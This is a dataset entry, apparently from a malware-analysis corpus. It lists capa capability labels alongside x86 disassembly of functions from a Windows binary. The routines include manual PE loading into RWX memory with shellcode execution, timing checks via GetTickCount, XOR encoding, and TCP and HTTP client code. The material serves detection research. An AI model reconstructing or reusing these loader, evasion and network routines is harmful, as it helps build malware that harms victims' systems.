joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407be9
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [ecx], 0x5a4d
jne 0x407d4f
mov esi, dword [ecx + 0x3c]
add esi, ecx
cmp dword [esi], 0x4550
jne 0x407d4f
mov eax, dword [esi + 0x78]
mov edi, dword [ebp + 0xc]
add eax, ecx
mov edx, dword [eax + 0x1c]
add edx, ecx
mov ecx, dword [eax + 0x10]
cmp edi, ecx
jb 0x407d4f
mov ebx, dword [eax + 0x14]
sub edi, ecx
cmp edi, ebx
mov dword [ebp - 4], ebx
ja 0x407d4f
mov edi, dword [edx + edi*4]
add edi, dword [ebp + 8]
cmp edi, eax
jb 0x407cc5
mov ebx, dword [esi + 0x7c]
add ebx, eax
cmp edi, ebx
jae 0x407cc5
push 0x2e
push edi
call fcn.0040f422
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x407d4f
push 0x104
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.0040f4d4
mov eax, esi
add esp, 0xc
sub eax, edi
push eax
lea eax, [ebp - 0x10c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407d4f
inc esi
push esi
push edi
call fcn.00407a8f
push eax
push edi
call fcn.00407be9
add esp, 0x10
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x407d51
mov eax, dword [ebp - 4]
mov dword [ebp + 0xc], 0x7fffffff
cmp eax, 1
jl 0x407d0e
mov ebx, ecx
mov dword [ebp - 8], 4
shl ebx, 2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, ebx
mov ecx, dword [ecx + edx]
sub ecx, edi
add ecx, dword [ebp + 8]
test ecx, ecx
jle 0x407cfc
cmp dword [ebp + 0xc], ecx
jl 0x407cfc
mov dword [ebp + 0xc], ecx
add dword [ebp - 8], 4
dec dword [ebp - 4]
jne 0x407ce3
cmp dword [ebp + 0xc], 0x7fffffff
jne 0x407d4a
movzx eax, word [esi + 0x14]
movzx ebx, word [esi + 6]
lea ecx, [eax + esi + 0x18]
xor eax, eax
test ebx, ebx
jle 0x407d4a
lea esi, [ecx + 0xc]
test byte [esi + 0x18], 0x20
je 0x407d3b
mov edx, dword [ebp + 8]
mov ecx, dword [esi - 4]
add edx, dword [esi]
add ecx, edx
cmp edi, edx
jb 0x407d3b
cmp edi, ecx
jbe 0x407d45
inc eax
add esi, 0x28
cmp eax, ebx
jl 0x407d23
jmp 0x407d4a
sub ecx, edi
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0xc]
jmp 0x407d51
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407fde
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push edi
xor edi, edi
cmp dword [0x412518], edi
je 0x407ff9
xor eax, eax
jmp 0x4081a0
push esi
push 1
pop esi
lea eax, [ebp - 0x94]
push eax
mov dword [0x412518], esi
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x408197
movzx eax, word [ebp - 0x88]
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
mov dword [0x4124d4], eax
xor eax, eax
cmp dword [ebp - 0x84], esi
mov dword [0x412514], ecx
mov dword [0x4124c8], edx
sete al
cmp eax, edi
mov dword [0x4124f4], eax
je 0x40806a
cmp ecx, 4
jne 0x40806a
cmp edx, 0xa
mov dword [0x4124e4], esi
jl 0x408070
mov dword [0x4124e4], edi
cmp eax, edi
je 0x408084
cmp ecx, 4
jne 0x408084
cmp edx, 0xa
mov dword [0x4124e0], esi
je 0x40808a
mov dword [0x4124e0], edi
cmp eax, edi
je 0x40809e
cmp ecx, 4
jne 0x40809e
cmp edx, 0x5a
mov dword [0x412500], esi
jge 0x4080a4
mov dword [0x412500], edi
xor ecx, ecx
cmp dword [ebp - 0x84], 2
sete cl
cmp eax, edi
mov dword [0x4124fc], ecx
je 0x408197
call fcn.00407e3e
push 0x401654
mov dword [0x4124cc], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, edi
je 0x408197
push ebx
push 0x47
push esi
call fcn.00407b16
pop ecx
cmp eax, edi
pop ecx
mov dword [0x4124e8], eax
je 0x40818d
push 0x4016e0
push esi
call fcn.00407a8f
mov edi, eax
push edi
push esi
call fcn.00407b16
push edi
push esi
mov ebx, eax
call fcn.00407be9
push 5
push 0x4016d8
push eax
push ebx
call fcn.00407d56
add esp, 0x28
test eax, eax
je 0x40818d
push 0x4016c4
push esi
mov dword [0x4124c4], eax
call fcn.00407a8f
mov edi, eax
push edi
push esi
call fcn.00407b16
push edi
push esi
mov ebx, eax
call fcn.00407be9
push 5
push 0x4016bc
push eax
push ebx
call fcn.00407d56
add esp, 0x28
test eax, eax
je 0x40818d
cmp byte [eax + 6], 0xe8
jne 0x40818d
mov ecx, dword [eax + 7]
add eax, 7
cmp dword [0x412500], 0
lea eax, [ecx + eax + 4]
mov dword [0x4124f0], eax
je 0x40818d
push 0x4016b0
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x412508], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
pop ebx
mov dword [0x412518], edi
xor eax, eax
pop esi
pop edi
leave
ret
Function at 0x4084be
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0040e218
call fcn.00409a31
mov esi, eax
cmp esi, ebx
jne 0x40851b
call fcn.00409a9c
call fcn.00409a31
push 0x402e00
mov esi, eax
push 0x402df0
push 0x402de8
push esi
push 0x402ddc
call fcn.0040c4d9
add esp, 0x14
push esi
call fcn.0040f06b
pop ecx
mov dword [0x412610], eax
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [0x412610]
lea eax, [ebp - 0x108]
push 0x402dd0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x412610]
add esp, 0xc
cmp eax, ebx
je 0x408573
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x412610], ebx
lea eax, [ebp - 0x108]
push eax
call fcn.0040f06b
pop ecx
mov dword [0x412610], eax
call fcn.0040863d
call fcn.0040ff2a
lea eax, [ebp - 0x108]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
call fcn.0040dffe
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov dword [esp], 0x402dc0
push eax
mov dword [ebp - 4], eax
call edi
test eax, eax
jne 0x408602
push ebx
push ebx
call esi
push eax
push 0x401398
call fcn.00405710
add esp, 0xc
push ebx
push ebx
call esi
push eax
push 0x401358
call fcn.00405710
add esp, 0xc
push ebx
push ebx
call esi
push eax
push 0x403b40
call fcn.00405710
add esp, 0xc
jmp 0x408632
call fcn.0040b76c
push 0x402db4
push dword [ebp - 4]
call edi
test eax, eax
jne 0x408632
push ebx
push ebx
call esi
push eax
push 0x403b40
call fcn.00405710
push ebx
push 0x40881a
call fcn.0040d767
add esp, 0x14
pop edi
mov dword [0x412628], ebx
pop esi
pop ebx
leave
ret

Function at 0x4086e3
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
xor eax, eax
lea edi, [ebp - 4]
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x108], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push esi
push eax
push esi
push esi
mov dword [ebp - 0x10c], 1
mov dword [ebp - 8], 0x1388
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, esi
jle 0x40877d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0x1000
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
push 0x402e08
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, dword [0x403b6c]
pop ecx
pop ecx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push dword [ebp + 8]
call ebx
test edi, edi
mov ebx, eax
je 0x40877a
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret
Function at 0x408781
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 4]
mov esi, dword [ebp + 8]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
xor ebx, ebx
push eax
push ebx
lea eax, [ebp - 0x20c]
push ebx
push eax
push ebx
mov dword [ebp - 0x208], esi
mov dword [ebp - 0x20c], 1
mov dword [ebp - 8], 0x1388
mov dword [ebp - 4], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, ebx
jle 0x408815
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x108]
push 0x100
stosb byte es:[edi], al
mov eax, dword [0x403b54]
push ecx
push esi
call eax
mov esi, eax
push 3
lea eax, [ebp - 0x108]
push 0x402e38
push eax
call fcn.0040f570
add esp, 0xc
neg eax
sbb eax, eax
not eax
and eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40891f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
and byte [ebp - 0x100], 0
push esi
push edi
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 8]
call fcn.0040e23c
pop ecx
test al, al
pop ecx
je 0x4089c4
push dword [0x40378c]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov esi, eax
test esi, esi
je 0x4089c4
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp + 8]
push eax
push dword [0x403780]
call fcn.0040df6e
pop ecx
pop ecx
push 0
push 0xffffffffffffffff
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push dword [0x403764]
call fcn.0040cdc7
lea eax, [ebp - 0x100]
push eax
call fcn.0040e2ff
push 0x402dc0
call fcn.0040cdc7
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
leave
ret
Function at 0x409e52
Capabilities:
Enumerate internet cache
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
and byte [ebp - 1], 0
push ebx
push esi
mov esi, 0x1000
push edi
push esi
push 8
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [ebp - 8]
xor edi, edi
mov ebx, eax
push edi
push ebx
call fcn.0040f4d4
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
push esi
push edi
push ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], esi
call fcn.0040f4d4
mov eax, dword [ebp - 8]
mov edi, dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
add esp, 0xc
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x409efb
push 0x402ebc
push dword [ebx + 4]
call fcn.00405b31
pop ecx
test al, al
pop ecx
jne 0x409ef7
push esi
push 0
push ebx
mov dword [ebp - 8], esi
call fcn.0040f4d4
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0xc]
jmp 0x409ec0
mov byte [ebp - 1], 1
cmp dword [ebp - 0xc], 0
je 0x409f0a
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
cmp byte [ebp - 1], 0
jne 0x409fe9
lea eax, [ebp - 0x18]
push eax
push 0xf003f
push 0
push 0x4034d0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409fe9
and byte [ebp - 0x41c], al
mov ecx, 0xbf
lea edi, [ebp - 0x41b]
and byte [ebp - 0x11c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and dword [ebp - 0xc], 0
mov esi, 0x300
stosb byte es:[edi], al
mov edi, 0x100
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
push esi
lea eax, [ebp - 0x41c]
push 0
push eax
call fcn.0040f4d4
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x409fe0
lea eax, [ebp - 0x41c]
push 0x402ebc
push eax
call fcn.00405b31
pop ecx
test al, al
pop ecx
je 0x409fd1
mov byte [ebp - 1], 1
inc dword [ebp - 0xc]
cmp byte [ebp - 1], 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
je 0x409f78
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x409ffd
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a13b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
cmp dword [0x41254c], 0
push ebx
push 1
mov dword [ebp - 8], eax
pop ebx
mov dword [ebp - 0xc], ebx
jne 0x40a17f
push 0x403628
push 0x40361c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [0x41254c], eax
jne 0x40a17f
mov eax, ebx
jmp 0x40a1b7
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0xc]
push eax
push 8
push ebx
push 0x403608
call dword [0x41254c]
mov ebx, eax
call esi
mov ecx, eax
mov eax, ebx
sub ecx, edi
pop edi
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
pop ebx
leave
ret

Function at 0x40a9c7
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [eax - 4]
xor eax, eax
mov ecx, dword [esi]
test edi, edi
jbe 0x40aa09
push ebx
mov dl, al
mov bl, al
shl dl, 0xa
or dl, al
shl dl, 3
add dl, byte [0x403930]
shl bl, 7
xor dl, byte [esi + eax + 4]
or bl, al
shl bl, 0xa
sub dl, bl
sub dl, cl
mov byte [esi + eax + 4], dl
inc eax
cmp eax, edi
jb 0x40a9dd
pop ebx
pop edi
pop esi
ret

Function at 0x40aac2
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jbe 0x40aaf4
push ebx
mov dl, byte [esp + 8]
mov bl, cl
add byte [eax], dl
mov dl, byte [eax]
shl bl, 0xa
or bl, cl
shl bl, 3
add bl, byte [0x403930]
xor bl, dl
mov byte [eax], bl
inc eax
inc ecx
cmp ecx, dword [esp + 0x10]
jb 0x40aacf
pop ebx
ret

Function at 0x40aaf5
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [esi + 1]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test esi, esi
mov edi, eax
jbe 0x40ab31
mov edx, dword [esp + 0xc]
mov ecx, edi
sub edx, edi
mov al, byte [edx + ecx]
xor al, byte [esp + 0x10]
mov byte [ecx], al
inc ecx
dec esi
jne 0x40ab24
mov eax, edi
pop edi
pop esi
ret
Function at 0x40ad61
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
jne 0x40adf4
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x40adf4
cmp word [esi + 0x18], 0x10b
jne 0x40adf4
mov ebx, dword [esi + 0x50]
mov eax, dword [esi + 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x103000
push ebx
push eax
call ebp
mov edi, eax
test edi, edi
jne 0x40adb9
push 0x40
push 0x103000
push ebx
push eax
call ebp
mov edi, eax
test edi, edi
je 0x40adf4
push edi
push dword [esp + 0x18]
call fcn.0040adff
pop ecx
test eax, eax
pop ecx
je 0x40ade6
push dword [esi + 0x34]
push edi
call fcn.0040ae55
pop ecx
test eax, eax
pop ecx
je 0x40ade6
push 1
push edi
call fcn.0040aed6
pop ecx
test eax, eax
pop ecx
jne 0x40adf8
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x40adfa
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40b7b0
Capabilities:
Resolve dns

Disassembly:
mov ecx, dword [esp + 4]
mov edx, ecx
mov al, byte [ecx]
test al, al
je 0x40b7f2
cmp al, 0x30
jl 0x40b7c4
cmp al, 0x39
jle 0x40b7c8
cmp al, 0x2e
jne 0x40b7ce
mov al, byte [edx + 1]
inc edx
jmp 0x40b7b8
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40b7dd
or eax, 0xffffffff
ret
mov eax, dword [eax + 0xc]
push 4
push dword [eax]
push dword [esp + 0x10]
call fcn.0040f4ac
add esp, 0xc
jmp 0x40b7ff
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 8]
mov dword [ecx], eax
xor eax, eax
ret
Function at 0x40b802
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
xor esi, esi
xor eax, eax
lea edi, [ebp - 0x22]
mov word [ebp - 0x24], si
mov dword [ebp - 4], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x10], esi
stosw word es:[edi], ax
call fcn.0040b76c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1000
push 8
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
lea ecx, [ebp + 0xc]
push 0x402eac
push ecx
mov dword [ebp - 8], eax
push dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
add eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
jne 0x40b879
xor eax, eax
jmp 0x40b99e
lea ecx, [ebp - 0x24]
push 0x10
push ecx
push eax
mov word [ebp - 0x24], 2
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40b898
xor esi, esi
jmp 0x40b993
push 0x20
push dword [ebp - 8]
call fcn.0040f422
inc eax
push eax
call fcn.0040bc93
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], eax
push ecx
push dword [eax + 0x10]
call fcn.0040b7b0
add esp, 0x14
test eax, eax
jne 0x40b94f
push 0x50
mov word [ebp - 0x34], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x32], ax
lea eax, [ebp - 0x34]
push 0x10
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40b94f
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40b94f
push 0x20000
push 8
call edi
push eax
call ebx
mov esi, eax
test esi, esi
je 0x40b94f
and dword [ebp - 4], 0
mov ebx, 0x19000
push 0
push ebx
push esi
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40b94f
test eax, eax
je 0x40b94f
cmp dword [ebp - 4], ebx
jge 0x40b94f
add dword [ebp - 4], eax
mov eax, ebx
sub eax, dword [ebp - 4]
push 0
push eax
mov eax, dword [ebp - 4]
add eax, esi
push eax
jmp 0x40b925
push dword [ebp - 0x14]
call fcn.0040bd40
pop ecx
call fcn.0040b7a4
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x40b980
mov eax, dword [ebp - 4]
push esi
and byte [esi + eax], 0
call fcn.0040f06b
pop ecx
mov dword [ebp - 0x10], eax
push esi
push 0
call edi
push eax
call ebx
cmp dword [ebp - 8], 0
je 0x40b990
push dword [ebp - 8]
push 0
call edi
push eax
call ebx
mov esi, dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40bc51
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov edx, dword [ebp + 8]
test edx, edx
je 0x40bc8e
cmp byte [edx], 0
je 0x40bc8e
push edi
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x38]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3c
push eax
push 0
push 0
push edx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
pop edi
je 0x40bc8e
mov eax, dword [ebp - 0x30]
leave
ret
or eax, 0xffffffff
leave
ret

Function at 0x40bc93
Capabilities:
Parse url

Disassembly:
mov eax, dword [esp + 4]
push esi
test eax, eax
je 0x40bd3c
cmp byte [eax], 0
je 0x40bd3c
push ebx
push ebp
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x3c
push 8
mov edi, eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov esi, eax
push edi
push 8
mov dword [esi], 0x3c
call ebp
push eax
call ebx
mov dword [esi + 0x10], eax
lea eax, [edi + edi]
push eax
push 8
mov dword [esi + 0x14], edi
call ebp
push eax
call ebx
mov dword [esi + 0x2c], eax
lea eax, [edi + edi]
push edi
push 8
mov dword [esi + 0x30], eax
call ebp
push eax
call ebx
push esi
push 0
push 0
mov dword [esi + 0x34], eax
push dword [esp + 0x20]
mov dword [esi + 0x38], edi
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
pop edi
pop ebp
test eax, eax
pop ebx
je 0x40bd35
mov eax, dword [esi + 0xc]
cmp eax, 3
je 0x40bd25
cmp eax, 4
jne 0x40bd35
push dword [esi + 0x34]
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, esi
pop esi
ret
push esi
call fcn.0040bd40
pop ecx
xor eax, eax
pop esi
ret
Function at 0x40bd99
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
xor ebx, ebx
xor edi, edi
cmp dword [ebp + 8], ebx
mov byte [ebp - 1], bl
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
jne 0x40bdc0
xor al, al
jmp 0x40bee8
push esi
call fcn.004094a9
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x1c], esi
jne 0x40bdd4
mov eax, 0x403a90
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp esi, ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x10], eax
je 0x40bdf9
push dword [ebp - 0x1c]
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x10], ebx
jne 0x40be09
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40bea7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
shl eax, 1
push eax
push 8
mov dword [ebp - 0x18], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlA]
push dword [ebp - 8]
call fcn.0040bc93
mov edi, eax
pop ecx
cmp edi, ebx
je 0x40bea7
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [edi + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x40bea7
push ebx
push 0x44000100
push ebx
push ebx
push ebx
push dword [edi + 0x2c]
push ebx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x40bea7
push 0x20000000
push 0xffffffffffffffff
push dword [ebp + 0xc]
push eax
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
je 0x40bea7
push ebx
push ebx
push 0xffffffffffffffff
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40bea7
mov byte [ebp - 1], 1
push edi
call fcn.0040bd40
cmp dword [ebp - 8], ebx
pop ecx
je 0x40bec0
push dword [ebp - 8]
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0xc], ebx
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x40bed0
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 0x14], ebx
je 0x40beda
push dword [ebp - 0x14]
call esi
cmp dword [ebp - 0x10], ebx
je 0x40bee4
push dword [ebp - 0x10]
call esi
mov al, byte [ebp - 1]
pop esi
pop edi
pop ebx
leave
ret